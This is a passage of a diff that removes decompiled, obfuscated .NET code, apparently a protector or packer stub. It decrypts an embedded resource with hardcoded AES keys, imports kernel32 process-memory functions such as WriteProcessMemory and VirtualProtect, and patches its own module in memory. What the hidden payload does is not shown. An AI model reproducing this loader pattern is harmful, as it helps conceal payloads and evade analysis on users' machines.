continue; - case 300: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.uJvUl1GpEQlGIOOiSe(GeQKoeh9BTa5jMZgSa.TvbvBw0tnbHiDueqTX((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)) > 0) - { - num1 = 203; - continue; - } - break; - case 301: - numArray2[5] = (byte) (90 + 111); - num4 = 334; - goto label_212; - case 302: - numArray1[21] = (byte) (113 + 5); - num4 = 233; - if (true) - goto label_212; - else - goto case 309; - case 303: - num6 = 233 - 77; - num1 = 427; - continue; - case 304: - numArray1[19] = (byte) (21 + 56); - num26 = 245; - goto label_211; - case 305: - num2 = 122 + 105; - num4 = 335; - goto label_212; - case 306: - numArray2[8] = (byte) num6; - num26 = 371; - goto label_211; - case 307: - num7 = 28 + 52; - num1 = 279; - continue; - case 308: - numArray1[13] = (byte) num2; - num1 = 211; - continue; - case 309: - numArray1[5] = (byte) num5; - num26 = 143; - goto label_211; - case 310: - numArray1[3] = (byte) num2; - num4 = 445; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 23; - case 311: - numArray1[30] = (byte) (86 + 64); - num1 = 385; - continue; - case 312: - numArray2[13] = (byte) (136 + 18); - num1 = 49; - continue; - case 313: - num5 = 223 - 74; - num4 = 437; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 6; - case 314: - num7 = 91 + 22; - num4 = 137; - if (true) - goto label_212; - else - goto case 57; - case 316: - cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); - num1 = 369; - continue; - case 317: - numArray1[7] = (byte) (83 + 104); - num1 = 23; - continue; - case 318: - numArray2[3] = (byte) num6; - num26 = 136; - goto label_211; - case 319: - numArray1[10] = (byte) num5; - num4 = 415; - goto label_212; - case 320: - numArray2[13] = (byte) (148 - 49); - num26 = 33; - goto label_211; - case 321: - numArray2[15] = (byte) (87 + 69); - num4 = 147; - if (true) - goto label_212; - else - goto case 360; - case 322: - num2 = 245 - 81; - num4 = 351; - if (true) - goto label_212; - else - goto case 289; - case 323: - num11 = GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader) - num10; - num1 = 168; - continue; - case 324: - num6 = 220 - 73; - num26 = 318; - goto label_211; - case 325: - numArray1[25] = (byte) (167 - 55); - num26 = 43; - goto label_211; - case 326: - numArray7[4] = (byte) 105; - num26 = 176; - goto label_211; - case 327: - numArray1[22] = (byte) (160 - 53); - num26 = 259; - goto label_211; - case 328: - str1 = (string) GeQKoeh9BTa5jMZgSa.MX7NIVmGO0lOjl8Lmi(GeQKoeh9BTa5jMZgSa.jSP5qnHxsE3naq1SKj(), (object) numArray5); - num4 = 252; - goto label_212; - case 329: - numArray1[4] = (byte) (196 + 18); - num4 = 441; - goto label_212; - case 330: - numArray5[0] = (byte) 99; - num4 = 24; - if (true) - goto label_212; - else - goto case 393; - case 331: - numArray1[6] = (byte) num2; - num1 = 299; - continue; - case 332: - numArray1[0] = (byte) num2; - num26 = 221; - goto label_211; - case 333: - num2 = 144 + 53; - num4 = 283; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 157; - else - goto label_212; - case 334: - numArray2[5] = (byte) (18 + 112); - num4 = 222; - if (true) - goto label_212; - else - goto case 299; - case 335: - numArray1[14] = (byte) num2; - num4 = 110; - goto label_212; - case 336: - num2 = 206 - 68; - num26 = 135; - goto label_211; - case 337: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(num14, 4, 4, ref num13); - num26 = 240; - goto label_211; - case 338: - GeQKoeh9BTa5jMZgSa.O7UMIrWKl = new long[GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader)]; - num26 = 250; - goto label_211; - case 339: - numArray1[10] = (byte) num2; - num4 = 131; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 294; - case 340: - num14 = new IntPtr(int64 + (long) num11); - num26 = 337; - goto label_211; - case 341: - numArray2[0] = (byte) (39 + 53); - num4 = 169; - if (true) - goto label_212; - else - goto case 223; - case 342: - numArray1[25] = (byte) num2; - num4 = 325; - goto label_212; - case 343: - num2 = 53 + 93; - num26 = 192; - goto label_211; - case 344: - if (GeQKoeh9BTa5jMZgSa.tH6uFbRWCcs1RpF0qY() == 4) - { - num4 = 448; - goto label_212; - } - else - goto case 17; - case 345: - numArray1[28] = (byte) (208 - 69); - num26 = 354; - goto label_211; - case 346: - num5 = 19 + 40; - num4 = 154; - if (true) - goto label_212; - else - goto case 228; - case 347: - num5 = 164 - 79; - num26 = 249; - goto label_211; - case 348: - zero = IntPtr.Zero; - num1 = 210; - continue; - case 349: - numArray5[7] = (byte) 100; - num1 = 266; - continue; - case 350: - try - { - GeQKoeh9BTa5jMZgSa.nC4d64StgHMcJ26YYD(true); - } - catch - { - } - // ISSUE: type reference - binaryReader = new BinaryReader((Stream) GeQKoeh9BTa5jMZgSa.PBpxFCLuP6wLid36Bt((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly, (object) "39c6269d-3619-4f24-a2af-0d5f263d0098")); - num26 = 377; - goto label_211; - case 351: - numArray1[16] = (byte) num2; - num1 = 395; - continue; - case 352: - numArray5[8] = (byte) 46; - num4 = 144; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 270; - else - goto label_212; - case 353: - numArray1[27] = (byte) num5; - num4 = 153; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 246; - case 354: - num5 = 168 - 88; - num26 = 387; - goto label_211; - case 355: - GeQKoeh9BTa5jMZgSa.myWOkssH9[index] = numArray6; - num26 = 1; - goto label_211; - case 356: - numArray1[14] = (byte) (251 - 83); - num4 = 20; - goto label_212; - case 357: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.TvbvBw0tnbHiDueqTX((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly) != null) - { - num1 = 300; - continue; - } - break; - case 358: - numArray1[3] = (byte) num2; - num4 = 381; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 122; - else - goto label_212; - case 359: - num2 = 244 - 81; - num26 = 358; - goto label_211; - case 360: - num5 = 20 + 8; - num26 = 219; - goto label_211; - case 361: - numArray1[6] = (byte) (117 - 69); - num4 = 317; - goto label_212; - case 362: - // ISSUE: type reference - numArray4 = (byte[]) GeQKoeh9BTa5jMZgSa.J02mrb1suNTHPMBrGQ(GeQKoeh9BTa5jMZgSa.J0e3OJPAr6WXjCTbGP((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)); - num4 = 76; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 212; - else - goto label_212; - case 363: - if (numArray4.Length > 0) - { - num1 = 8; - continue; - } - goto case 406; - case 364: - numArray1[28] = (byte) (14 + 35); - num4 = 345; - goto label_212; - case 365: - numArray1[6] = (byte) num2; - num4 = 361; - goto label_212; - case 366: - numArray1[11] = (byte) (52 + 93); - num1 = 117; - continue; - case 367: - num6 = 217 - 72; - num1 = 84; - continue; - case 368: - numArray5[5] = (byte) 106; - num26 = 140; - goto label_211; - case 369: - GeQKoeh9BTa5jMZgSa.sGyfXudKsmk4suSrgN((object) cryptoStream, (object) numArray9, 0, numArray9.Length); - num1 = 38; - continue; - case 370: - num25 = IntPtr.Zero; - num4 = 213; - goto label_212; - case 371: - numArray2[8] = (byte) (146 - 48); - num26 = 113; - goto label_211; - case 372: - num10 = 7168; - num26 = 215; - goto label_211; - case 373: - numArray7[1] = (byte) 101; - num26 = 44; - goto label_211; - case 374: - numArray2[14] = (byte) (227 - 75); - num1 = 257; - continue; - case 375: - num9 = 0L; - num1 = 171; - continue; - case 376: - num5 = 70 - 28; - num4 = 7; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 57; - else - goto label_212; - case 377: - GeQKoeh9BTa5jMZgSa.\u0033MEhD38ga3fyvBFuvK(GeQKoeh9BTa5jMZgSa.XZdhEETY6xnqBNBn85((object) binaryReader), 0L); - num1 = 111; - continue; - case 378: - num6 = 200 - 66; - num26 = 241; - goto label_211; - case 379: - num15 = 0U; - num4 = 348; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 310; - else - goto label_212; - case 380: - numArray1[9] = (byte) num5; - num26 = 81; - goto label_211; - case 381: - numArray1[3] = (byte) (69 + 71); - num26 = 53; - goto label_211; - case 382: - num5 = 37 - 35; - num1 = 398; - continue; - case 383: - numArray1 = new byte[32]; - num26 = 423; - goto label_211; - case 384: - numArray2[7] = (byte) (113 - 7); - num4 = 267; - if (true) - goto label_212; - else - goto case 84; - case 385: - numArray1[30] = (byte) (173 - 57); - num4 = 246; - goto label_212; - case 386: - buffer = (byte[]) GeQKoeh9BTa5jMZgSa.P1iRg2UNYuA3Mqs00T((object) memoryStream); - num4 = 36; - goto label_212; - case 387: - numArray1[28] = (byte) num5; - num4 = 393; - goto label_212; - case 388: - numArray1[27] = (byte) (249 - 83); - num26 = 91; - goto label_211; - case 389: - num13 = 0; - num26 = 46; - goto label_211; - case 390: - numArray1[26] = (byte) (89 + 73); - num1 = 79; - continue; - case 391: - numArray2[8] = (byte) (240 - 80); - num4 = 399; - if (true) - goto label_212; - else - goto case 62; - case 392: - numArray2[8] = (byte) num6; - num4 = 391; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 95; - case 393: - numArray1[29] = (byte) (235 - 78); - num4 = 26; - if (true) - goto label_212; - else - goto case 190; - case 394: - numArray1[1] = (byte) (172 - 57); - num4 = 86; - if (true) - goto label_212; - else - goto case 126; - case 395: - num2 = 40 + 1; - num4 = 180; - if (true) - goto label_212; - else - goto case 120; - case 396: - numArray1[17] = (byte) (99 + 120); - num4 = 262; - if (true) - goto label_212; - else - goto case 424; - case 397: - num5 = 81 + 108; - num1 = 71; - continue; - case 398: - numArray1[12] = (byte) num5; - num1 = 34; - continue; - case 399: - numArray2[8] = (byte) (83 + 118); - num4 = 268; - goto label_212; - case 400: - num5 = 217 - 72; - num1 = 410; - continue; - case 401: - numArray2[1] = (byte) (206 - 68); - num1 = 126; - continue; - case 402: - numArray1[3] = (byte) num5; - num1 = 25; - continue; - case 403: - numArray2[6] = (byte) (254 - 84); - num26 = 303; - goto label_211; - case 404: - numArray1[9] = (byte) (118 + 75); - num4 = 346; - if (true) - goto label_212; - else - goto case 2; - case 405: - case 426: - numArray5[6] = (byte) 46; - num26 = 349; - goto label_211; - case 406: - rijndaelManaged = new RijndaelManaged(); - num4 = 194; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 380; - case 407: - numArray1[24] = (byte) (100 + 114); - num4 = 95; - goto label_212; - case 408: - num7 = 38 + 14; - num4 = 438; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 195; - else - goto label_212; - case 409: - numArray1[20] = (byte) (14 + 57); - num4 = 152; - goto label_212; - case 410: - numArray1[12] = (byte) num5; - num4 = 106; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 339; - else - goto label_212; - case 411: - num7 = 94 + 121; - num4 = 227; - goto label_212; - case 412: - numArray1[27] = (byte) num5; - num4 = 388; - goto label_212; - case 413: - numArray5[11] = (byte) 108; - num26 = 253; - goto label_211; - case 414: - numArray2[11] = (byte) num6; - num4 = 288; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 272; - case 415: - num5 = 200 - 66; - num26 = 93; - goto label_211; - case 416: - numArray3[13] = numArray4[6]; - num1 = 170; - continue; - case 417: - num5 = 4 + 121; - num1 = 182; - continue; - case 418: - str2 = (string) GeQKoeh9BTa5jMZgSa.MX7NIVmGO0lOjl8Lmi(GeQKoeh9BTa5jMZgSa.jSP5qnHxsE3naq1SKj(), (object) numArray7); - num26 = 125; - goto label_211; - case 419: - num2 = 7 + 58; - num1 = 298; - continue; - case 420: - num7 = 101 + 123; - num4 = 263; - if (true) - goto label_212; - else - goto case 350; - case 421: - numArray8 = numArray1; - num4 = 226; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 362; - else - goto label_212; - case 422: - numArray2[2] = (byte) num7; - num4 = 284; - goto label_212; - case 423: - numArray1[0] = (byte) (236 - 78); - num26 = 247; - goto label_211; - case 424: - num5 = 1 + 18; - num4 = 123; - goto label_212; - case 425: - numArray7[0] = (byte) 103; - num26 = 373; - goto label_211; - case 427: - numArray2[6] = (byte) num6; - num4 = 163; - if (true) - goto label_212; - else - goto case 47; - case 429: - num2 = 157 - 52; - num26 = 308; - goto label_211; - case 430: - numArray2[3] = (byte) num6; - num4 = 324; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 398; - else - goto label_212; - case 431: - numArray2[4] = (byte) num7; - num1 = 205; - continue; - case 432: - numArray1[25] = (byte) (194 - 64); - num4 = 58; - goto label_212; - case 433: - numArray2[5] = (byte) (200 - 66); - num4 = 92; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 270; - else - goto label_212; - case 434: - numArray2[12] = (byte) (126 - 42); - num4 = 114; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 106; - case 435: - numArray2[4] = (byte) (238 - 79); - num1 = 167; - continue; - case 436: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.TvbvBw0tnbHiDueqTX((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly) != null) - { - num4 = 164; - goto label_212; - } - else - goto case 372; - case 437: - numArray1[15] = (byte) num5; - num26 = 139; - goto label_211; - case 438: - numArray2[12] = (byte) num7; - num1 = 411; - continue; - case 440: - GeQKoeh9BTa5jMZgSa.\u0033MEhD38ga3fyvBFuvK(GeQKoeh9BTa5jMZgSa.XZdhEETY6xnqBNBn85((object) binaryReader), 0L); - num26 = 254; - goto label_211; - case 441: - num5 = 128 - 42; - num1 = 309; - continue; - case 442: - numArray1[31] = (byte) num5; - num4 = 185; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 33; - case 443: - numArray2[3] = (byte) (69 + 71); - num4 = 100; - if (true) - goto label_212; - else - goto case 165; - case 444: - GeQKoeh9BTa5jMZgSa.vDOITcM5CEcKc8CZ4R(new IntPtr(num8), num25); - num4 = 188; - goto label_212; - case 445: - numArray1[3] = (byte) (185 - 90); - num4 = 236; - goto label_212; - case 446: - numArray1[30] = (byte) (232 - 77); - num4 = 5; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 149; - case 447: - num5 = 46 + 123; - num26 = 160; - goto label_211; - case 448: - GeQKoeh9BTa5jMZgSa.\u0037JhnbSeYu = GeQKoeh9BTa5jMZgSa.JmMyCoQZC0x2UbHDxD(GeQKoeh9BTa5jMZgSa.\u0038pwDLUuUH); - num4 = 17; - goto label_212; - case 449: - numArray1[24] = (byte) (192 - 64); - num26 = 407; - goto label_211; - case 450: - goto label_112; - default: - num4 = 420; - if (true) - goto label_212; - else - goto case 178; - } - try - { - int num35 = (int) GeQKoeh9BTa5jMZgSa.EJBGECnBT(ref num12, IntPtr.Zero, IntPtr.Zero, 216679565U, ref zero, ref num15); - } - catch - { - } - GeQKoeh9BTa5jMZgSa.E0WCSSJ5g = false; - num26 = 94; -label_211: - num4 = num26; -label_212: - num1 = num4; - } -label_517: - return; -label_112: - return; -label_496:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object osqYU8eYW([In] object obj0) - { - try - { - return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString(); - } - catch - { - return (object) ""; - } - } - - [DllImport("kernel32", EntryPoint = "LoadLibrary")] - public static extern IntPtr UUm8PsflX([In] string obj0); - - [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)] - public static extern IntPtr mZOK7fXCU([In] IntPtr obj0, [In] string obj1); - - [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] - static extern int Nr5UBEyhM( - [In] IntPtr obj0, - [In] IntPtr obj1, - [In, Out] byte[] _param2, - [In] uint obj3, - out IntPtr _param4); - - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - static extern int AC832ICe1( - [In] IntPtr obj0, - [In] IntPtr obj1, - [In, Out] byte[] _param2, - [In] uint obj3, - out IntPtr _param4); - - [DllImport("kernel32.dll", EntryPoint = "VirtualProtect")] - static extern int Wtd0r3S1V([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); - - [DllImport("kernel32.dll", EntryPoint = "OpenProcess")] - static extern IntPtr uJr5ZViT7([In] uint obj0, [In] int obj1, [In] uint obj2); - - [DllImport("kernel32.dll", EntryPoint = "CloseHandle")] - static extern int AcBxIbfjI([In] IntPtr obj0); - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - static byte[] DiMVqfSET([In] string obj0) - { - byte[] buffer; - using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read)) - { - int offset = 0; - int length = (int) fileStream.Length; - buffer = new byte[length]; - int num; - for (; length > 0; length -= num) - { - num = fileStream.Read(buffer, offset, length); - offset += num; - } - } - return buffer; - } - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - static byte[] blaWKLdIX([In] byte[] obj0) - { - MemoryStream memoryStream = new MemoryStream(); - Rijndael rijndael = Rijndael.Create(); - rijndael.Key = new byte[32] - { - (byte) 31, - (byte) 74, - (byte) 225, - (byte) 44, - (byte) 149, - (byte) 105, - (byte) 231, - (byte) 233, - (byte) 100, - (byte) 109, - (byte) 145, - (byte) 145, - (byte) 219, - (byte) 113, - (byte) 70, - (byte) 10, - (byte) 67, - (byte) 188, - (byte) 127, - (byte) 130, - (byte) 237, - (byte) 233, - (byte) 124, - (byte) 129, - (byte) 0, - (byte) 161, - (byte) 120, - (byte) 254, - (byte) 98, - (byte) 3, - (byte) 173, - (byte) 73 - }; - rijndael.IV = new byte[16] - { - (byte) 171, - (byte) 176, - (byte) 226, - (byte) 105, - (byte) 207, - (byte) 11, - (byte) 94, - (byte) 169, - (byte) 37, - (byte) 139, - (byte) 73, - (byte) 85, - (byte) 227, - (byte) 157, - (byte) 232, - (byte) 230 - }; - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(obj0, 0, obj0.Length); - cryptoStream.Close(); - return memoryStream.ToArray(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] \u0030ATpRgOlm() => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] \u0030gryDiF4E() => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] rI5HST0qG() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2] - { - (byte) 1, - (byte) 2 - } : new byte[2]{ (byte) 1, (byte) 2 }; - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] aG0X6xR77() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2] - { - (byte) 1, - (byte) 2 - } : new byte[2]{ (byte) 1, (byte) 2 }; - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] e914mxjah() => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - byte[] kPWEWstEh() => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal byte[] hZlveCpgJ() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2] - { - (byte) 1, - (byte) 2 - } : new byte[2]{ (byte) 1, (byte) 2 }; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal byte[] WAg1hW0Pl() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2] - { - (byte) 1, - (byte) 2 - } : new byte[2]{ (byte) 1, (byte) 2 }; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal byte[] ra52a4HMv() => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal byte[] S4QAaB040() => (byte[]) null; - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string L9Qa3xL7a([In] string obj0, [In] string obj1) - { - byte[] bytes = Encoding.Unicode.GetBytes(obj0); - byte[] numArray = new byte[32] - { - (byte) 82, - (byte) 102, - (byte) 104, - (byte) 110, - (byte) 32, - (byte) 77, - (byte) 24, - (byte) 34, - (byte) 118, - (byte) 181, - (byte) 51, - (byte) 17, - (byte) 18, - (byte) 51, - (byte) 12, - (byte) 109, - (byte) 10, - (byte) 32, - (byte) 77, - (byte) 24, - (byte) 34, - (byte) 158, - (byte) 161, - (byte) 41, - (byte) 97, - (byte) 28, - (byte) 118, - (byte) 181, - (byte) 5, - (byte) 25, - (byte) 1, - (byte) 88 - }; - byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1)); - MemoryStream memoryStream = new MemoryStream(); - Rijndael rijndael = Rijndael.Create(); - rijndael.Key = numArray; - rijndael.IV = hash; - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.Close(); - return Convert.ToBase64String(memoryStream.ToArray()); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public GeQKoeh9BTa5jMZgSa() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Type iIVIk6SvUgD0JTVAnk([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object t5U2QUMIDq8PgCHTts([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object QUBRhxL2QZ6RDyGsJt([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void RoYr5Oifrs4sxi7Umu([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void Y1XL6H8B4lwHfQuBss([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0031rh9QdOp2YNJXn7H14([In] object obj0) => ((Stream) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object tpww1o5Qikcv1gwXO6([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0031bOmsUeXkKYDqYVFim([In] object obj0) => (object) ((Assembly) obj0).GetName(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Y1jGWSZ8Gx13IURXcg([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void HS1qifu5iQ97IrvAkk([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object qeBfEcpEvUplSVOTD8([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void WqwbDPRHhnOEJD0ii5([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0032mAMGsagdIBfWKl3ac([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object tSqBu2XDEatfXsaNqo([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void iDHigqbTZVbiIrwW3w([In] object obj0) => ((Stream) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void D3I4XMFcpfqKequoNr([In] object obj0) => ((BinaryReader) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int eg8wW0sHriUriYCh9B([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object ILHI0GdNXWinrFsZJM() => (object) Encoding.Unicode; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object OVkPH6hTrN2CFRuMVW([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool WG9gbA6J7aeXk03Pd3() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool DPYaZ2qmOxfETfK2Jp() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void nC4d64StgHMcJ26YYD([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Type TrTahvrjSfIikSswxu([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object PBpxFCLuP6wLid36Bt([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object XZdhEETY6xnqBNBn85([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0033MEhD38ga3fyvBFuvK([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long luZPR5Ne33DogfLMgu([In] object obj0) => ((Stream) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object iZM9lHY9Xv24KO8tyE([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object J0e3OJPAr6WXjCTbGP([In] object obj0) => (object) ((Assembly) obj0).GetName(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object J02mrb1suNTHPMBrGQ([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void yLi1gbEBZ1PVug9d2d([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0038cSQZHAeuu03E2BMBG([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void sGyfXudKsmk4suSrgN([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0032ftrt8haJUV8J2Vt5x([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object P1iRg2UNYuA3Mqs00T([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0032vPIGFllg5w8kSLEEp([In] object obj0) => ((Stream) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void wd9Zo3JryPv0dgv1ng([In] object obj0) => ((BinaryReader) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object yuH7lPFHHUf53dhuE9([In] object obj0) => (object) ((Assembly) obj0).GetModules(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr L4d8kkteJ8J2YcdktO([In] object obj0) => Marshal.GetHINSTANCE((Module) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TvbvBw0tnbHiDueqTX([In] object obj0) => (object) ((Assembly) obj0).Location; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int uJvUl1GpEQlGIOOiSe([In] object obj0) => ((string) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int 